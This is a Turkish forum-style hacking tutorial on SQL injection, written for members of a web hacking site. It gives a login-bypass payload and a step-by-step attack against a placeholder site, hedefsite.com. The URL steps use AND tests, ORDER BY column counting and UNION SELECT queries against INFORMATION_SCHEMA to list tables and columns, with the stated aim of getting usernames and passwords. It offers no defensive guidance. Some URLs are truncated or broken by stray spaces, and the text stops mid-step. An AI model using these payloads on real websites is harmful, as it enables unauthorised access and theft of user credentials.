Web HACK'in Temeli - SQL İnjection !
--------------------------------------------------------------------------------
Selamun aleykum arkadaşlar. Web güvenlik açıklarından eksik olmaması gereken bir konu olan SQL İnjection aslıda web sitemizde yok. Bende hemen kolları sıvadım, ayagımı uzattim[çünkü kırık yoksa size karsı uzatmam ] klavyemi aldım ve Allah'ın da izni ile sizlere SQL İnjection konusunda EZBER yaptirmadan SQL İnjection'un asıl amaç ve çalışma prensibini anlatmaya karar verdim.Şimdiye kadar okuduğum birçok SQL İnjection adlı konu aslında sadece ya alıntı olmuştu ya da alışılmış bişeydi (yani ezberlenmiş!). Bende web zitemizin üyelerine bir çok dökümandan ve kendi uyguladıgım, geliştirdiğim bilgilerden sizlere sunmaya karar verdim. Az söz Fazla iş gerektiğinden daha fazla konuşmadan , Soluk almadan okuyabileceğiniz bu dökümanı yazmaya başlamak gerek...
SQL bir bilgisayar dilidir ve web sayfalarını yazmaya yarar.Bunu hepimiz biliriz. Açılımı "Yapılandırılmış sorgu dili" dir. SQL in amacı bir serverdeki web sitesine bilgi eklemek , göstermek ve depolamakdır.
Bir SQL veritabanında bilgilerin saklandığı tablolar vardır. Bu tablolar web sitesindeki her çeşit bilginin saklandığı yerdir. (kullanıcı adları , şifreler , mailler , bilgiler ... etc..)
Tablolarda farklı bilgileri saklamaya yarayan , karışmasını önleyen sütunlardan oluşur. Her tablo ve sütunun bir ismi vardır. İşte SQL İnjection Bu tabloların üzerinde değişiklik yapma anlamına gelir.
SQL İnjection açıkları iki ana başlık üzerinde toplanır. Ama her iki biçimde hedef web sitesine SQL kodu enjekte edilmesine yol açar. Bir siteye SQL enjekte ettiğinizde , siz ondan ne yapmasını veya beyi göstermesini isterseniz onu yapacaktır yada siz ne isterseniz onu...
1- Forma SQL enjekte etmek. Login sayfasındaki kullanıcı adı ve şifre kutuları vs..
2- URL ye enjekte etmek ki bunun üzerinde baya bi duracağız.
www.hedefsite.com/news.asp?ArticleID=10 gibi
Buradaki amaç ne ?
Amaç SQL sunucusuna sızmak ve serverdeki tabloların içerdiği bilgileri ekranda görmek.Tablolara bilgi ekleyip çıkarmak ve belkide login sayfasında asıl kullanıcı adı veya şifre olmadan giriş yapabilmektir.
SQL nasıl Çalışır?
SQL in nasıl çalıştığını anlaman gerekli
Kullanıcı adı ve şifresiyle siteye bağlandığında, kullanıcı adin ve şifren sitedeki üye tablosunda saklanacaktır
Kullanıcı adı ve şifre ayrı sütunlarda saklanır.
Kullanıcı adı ve şifresiyle siteye girdiğinde, giriş sayfası kullanıcı adı ve şifresinin olduğu bir satır arayacaktır.
Giriş formu sağladığın koşulları alır ve bu koşulları karşılayan sırayı üye tablosundan araştırır.
Eğer ki satır ayni kullanıcı adi ve şifresini içerirse hesabına girişine izin verilir
Eğer olurda bu satır bulunamazsa, giriş sayfası yazdığın kullanıcı adı ve şifresinin bulunduğu satırın olmadığını söyleyecektir.
SQL ayrıca bir web sitesindeki bilgileri de gösterir.
Eğer site de bir haber kısmı varsa, bütün konu isimlerinin bulunduğu bir SQL tablosu da olabilir
Genelde bu konu isimleri numarayla belirtilir
Konu üzerindeki linke tıkladığında, genelde konu numaralarını bulunduğun sayfanın URL çubuğunda görürsün.
Örneğin :
www.hedefsite.com/news.asp?ArticleID=10 gibisinden bir linke tıkladığınızda, bu link, siteye konu isimlerinin saklandığı tabloya bakıp, ’ArticleID’ si 10 olan konuya bakmasını söyleyecektir.
Web sitesi tablodaki bu sütunu bulduğunda, aynı satırda ’Konu’ isminde bir sütun arayabilir ve bu değeri konunun başlığında gösterir.
Komutlar nedir?
Komut denen belli kelimeleri kodlayarak, SQL sunucusuna (web sitesine) belli bir tabloya, sütuna ve satıra ne yapmak istediğiniz söyleyebileceksiniz
Komut içerisine, ne yapmak istediğini belirtmen gerekecek.
Bir linke enjekte edeceksen, isteğini URL deki ’=’ işaretinden sonra yazman gerekli
Bir form a enjekte edeceksen, giriş formu gibi, istediklerini normalde isim ve şifrelerini yazdığın kutulara yazmalısın
Web sitesi ne yazdığını ve ne istediğini okuyacak ve ne istersen yapacaktır.
Olanaklar sonsuzdur; bazı örnekler okur, değiştirir, kullanıcı isimleri ve şifreleri ekler ve sayfadaki kelimeleri değiştirebilir.
KODLAR:
ORDER BY - Web sitesine baktığın sayfadaki hangi sütunu göstereceğini söyler.
SELECT - Tablodaki belli bir bilgiyi seçer
UPTADE - Tablodaki sütunda var olan bilgiyi değiştirir
AND - Komutun çalışması için her iki durumun da doğruluğu sağlanmalıdır.
OR - Komutun çalışması için tek durumun doğru olması gerekir.
-- (iki çizgi) - Komutlarını sonlandırır.
+ - Boşluk yerine artı işaretini kullan
Form Injection
En kolay SQL enjekte çeşidi "izin geçişi" dır. (authorization bypass)
Bu enjekte SQL in, web sitesindeki kullanıcı adını ve şifreni girdiğin kutulara enjekte edilmesini sağlar, mesela bir giriş sayfası
"SQL nasıl çalışır" başlığından da hatırlayacaksınız, giriş sayfaları; girdiğiniz bilginin doğru koşulu sağlayıp sağlamadığını üye tablosundaki satırlara bakarak bulur
Web sitesini; bizim yazdığımızın doğru kullanıcı adı ve şifresini sağladığını sanmasını ve en azından bir satırı bize göstermesini sağlamak için kandırmalıyız
Kullanıcı adı ve şifre kutularının her biri görünmeyen bir tırnak işareti tarafından çevrelenmiştir
Form sunulduğunda; tek tırnak işaretiyle çevrelenen her neyse, iste o web sitesinin, üye tablosunda aradığı şeydir.
Bu yöntemde, eğer açık tırnak işareti kullanırsanız, onu ya kapatmalısınız ya her zaman hata alırsınız
Örneğin, eğer z’ yazarsanız hata alırsınız, çünkü tırnak açılmış lakin kapatılmamıştır.
Şu unutulmamalıdır ki, her zaman görünmeyen iki tane tırnak işareti zaten yazdığın her kutuyu çevreler.
Peki ya sunu yazarsak: z’ OR ’x’=’x
Basitçe İngilizcede, SQL’i bir kenara bırakalım, z’ OR ’z’=’z servera herhangi bi satırda kullanıcı adı olarak ’z’ ya da ’x’ harfiyle ayni ’x’ harfi var mı yok mu aramasını söyler
Bu gayet doğru bir ifadedir çünkü her satırda, tabloda, sütunda ve dilde x harfi x harfiyle aynidir
SQL servera göre bu geçerli bir kullanıcı adıdır çünkü x her satırda x ile aynidir
Oldukça garip ama SQL sunucu bizim üye tablosunda olup olmadığımızı öğrenmek için ne istediyse verdik ve bingo
Bunu hem kullanıcı adı hem de şifre için yaparsanız, alnınızın teriyle web sitesine giriş yapmış olursunuz.
Username: ’ | z’ | ’
Bu şekilde yazarsak üye tablosundan ’z’’ kelimesi araştırılacaktır
Bu bir problem oluşturacaktır, çünkü SQL server açık olan bir tırnak işaretinin kapatılmasını bekleyecektir. Ama beklediğini bulamayınca tabi error verecek.
Username: ’ | z’ OR ’x’=’x | ’
Şimdi burada sizce ne arayacaktır? Parantez içine yazıyorum, karışmasın ( ’z’ OR ’x’=’x’ )
Burada o basta ve sondaki tırnak işaretleri nerden geldi, hani demiştik ya kutucukların dışında bizim görmediğimiz tırnak işareti var diye. İşte oradan geldi.
Her açılmış tırnak işareti kapatılmış böylelikle bu istek hata vermeyecektir
’z’ ismi tabloda yer almasa da ’x’ her zaman ’x’ e eşit olacağından problem yaşamayacaksınız.
Bilgi Şeması
"BİLGİ_ŞEMASI" bir sitedeki her tablo ve sütunun isminin tutulduğu yerdir.
Her SQL sunucu da bir "INFIRMATION_SCHEMA" vardır ve ismi asla değişmez.
Diğer bütün tabloları içinde barındıran "INFORMATION_SCHEMA” "INFORMATION_SCHEMA.TABLES olarak adlandırılır.
"INFORMATION_SCHEMA.TABLES tablosunun içindeki bilgileri barındıran sütuna “table_name” denir.
Diğer bütün sütunları da içinde barındıran "INFORMATION_SCHEMA” , "INFORMATION_SCHEMA.COLUMNS olarak adlandırılır.
"INFORMATION_SCHEMA.COLUMNS sütununun içindeki bilgileri barındıran sütuna “column_name” denir.
URL Enjeksiyon
Burada ise tablo ve sütunların isimlerini bularak, tablolarda saklanan bilgilerin nasıl okunduğunu ve değiştirdiğini öğreneceğiz.
Web sayfasındaki herhangi bir linkte “=” işaretine rastlayabilirsiniz.
Bu sitede SQL Enjeksiyonu uygulayabilmek için, eşittir işaretinden sonra komutları yazmanız gerekir.
Şimdi eşittir işaretinden sonra komutları yazmaya başlayalım ve tarayıcımızdan, sanki yeni bir siteye giriyormuşuz gibi git butonuna basarak devam edelim.
Ne yapmanız gerektiğini anlamanın en basit yolu, örnek bir saldırıyı adım adım incelemektir.
Saldırı örneklerimizi uygulayacağımız örnek URL’ de
www.hedefsite.com/news.asp?ArticleID=10 olsun.
Aşağıdaki diğer örneklerde de, açık bulunan sitelerde gerçekleştirebileceğimiz iki genel saldırı çeşidini inceleyeceğiz
Saldırı 1
Hedef: Bir kullanıcı adı ve şifre edinin
Açığın bulunduğu URL:
www.hedefsite.com/news.asp?ArticleID=10 ADIM 1 : Linkte açık olup olmadığını belirleyin
I.
www.hedefsite.com/news.asp?ArticleID=10+AND+1=0-Komutun Anlamı : Eğer sadece 1 rakamı 0 rakamının benzeri ise, 10 numaralı makaleyi göster.
Bu durumda, “AND” komutu makalenin görüntülenmek için uygun olduğu anlamına gelir, makale 10 bulunmalı ve 1’de 0’a eşit olmalı.
Bu da makalenin yüklenmemesine neden olur çünkü 1, 0’a benzer degildir.
II.
www.hedefsite.com/news.asp?ArticleID=10+AND+1=1-Komutun Anlamı : Eğer sadece 1 rakamı 1 rakamının benzeri ise, 10 numaralı makaleyi göster.
Makale görüntülenebilmeli, çünkü 10 numaralı makale mevcut ve 1’de 1’a eşit.
İstediğinizde makale yüklendiğinden ve istemediğinizde de yüklenmediğinden dolayı komutlarımızın buradan komutların çalışıyor olduğunu anlayabiliriz. Bu da linkin açık olduğu ve devam edebileceğimiz anlamına gelir.
ADIM 2: Sayfada gösterilen toplam sütun sayısını bulmak
I.
http://www.hedefsite.com/news.asp?Ar...10+ORDER+BY+1-“ORDER BY 1”( bir numaralı sütunun bulunduğu yer) sayfaya 1 numaralı sütunu ilk sayfa içerisinde göstermesini söyler.
“ORDER BY 2” 2 numaralı sütunu ilk sayfada gösterir.
II.. 2. Adımın I. şıkkını tekrar edelim. Numaraları her defasında birer birer artırıyoruz ta ki; bir hata mesajı alana kadar.
i. Hata mesajı aldığımızda duruyoruz. Ulastığımız rakamdan bir çıkarıyorz ve kaydediyoruz.
- Örnek olarak 4 rakamına ulaştığımızda bir hata mesajı aldık
(http://www.hedefsite.com/news.asp?Ar...0+ORDER+BY+4--), yani 3 sütün var 4-1=3
ADIM 3: Tablo Adlarının Görüntülenmesi
I.
www.hedefsite.com/news.asp?ArticleID= - 1+UNION+SELECT+1,2,3+FROM+INFORMATION_SCHEMA.TABLE S-
-Komutun Anlamı: “SELECT” web sitesine sizin belirtmiş olduğunuz tablodan yine sizin belirttiğiniz bilgileri görüntülemesini söyler.
II.
www.hedefsite.com/news.asp?ArticleID= 1+UNION+SELECT+1,table_name,3+FROM+INFORMATION_SCH EMA.TABLES-
Hatırlatıcı: sayfada tablo adlarıyla birlikte gösterilen herhangi bir rakamı değiştirebilirsiniz.
Komutun Anlamı: Tablo isimlerini göster.
Sayfada rakamlardan herhangi bir tanesi yerine tablo adı gösteriliyor olmalıdır.
ADIM 4: Hedef Tablo İsimlerini Bulmak
I.
www.hedefsite.com/news.asp?ArticleID=-1+UNION+SELECT+1,table_name,3+FROM+INFORMATION_SCH EMA.TABLES+WHERE+table_name>’displayed_table’-
Sayfada ilk görüntülenen tek sayılı tablo isimi bizim aradığımız olan değildir, bizim asıl aradığımız içinde kullanıcı isimleri ve şifrelerin bulunduğu tablolardır.
Tablolar listesini tespit edip, doğru tabloyu bulabilmek için “TABLES” kısmını sonuna "+WHERE+table_name>’displayed_table’ " bölümünü ekleyin.
Komutun Anlamı: Listedeki ‘displayed_table’ den sonraki tablonun ismini görüntüle.
II. Adım 4’ün I. şıkkını uygun bir üye tablosu ismi görüntülene kadar tekrarlıyorz.
-Saldırı için diyelim ki “Users” adında bir tablo bulduk.
III. 4. Adımın II. şıkkından tablo ismini hatırlayın eğer gerekiyorsa bir yere not alın.
ADIM 5: Sütun İsimlerini Görüntülemek
I.
www.hedefsite.com/news.asp?ArticleID=1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SC HEMA.COLUMNS+WHERE+table_name=’Users’—
Komutun Anlamı: “Users” tablosundaki sütunların isimlerini görüntüle.
Şimdi, tablo ismi yerine, görüntülenen “Users” tablosundaki sütun isimlerini göreceksiniz
ADIM 6: Hedef Sütunları Bulmak
I.
http://www.hedefsite.com/news.asp?Ar...LECT+1,column_ name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table _name=’Users’+AND+column_name>’displayed_column’-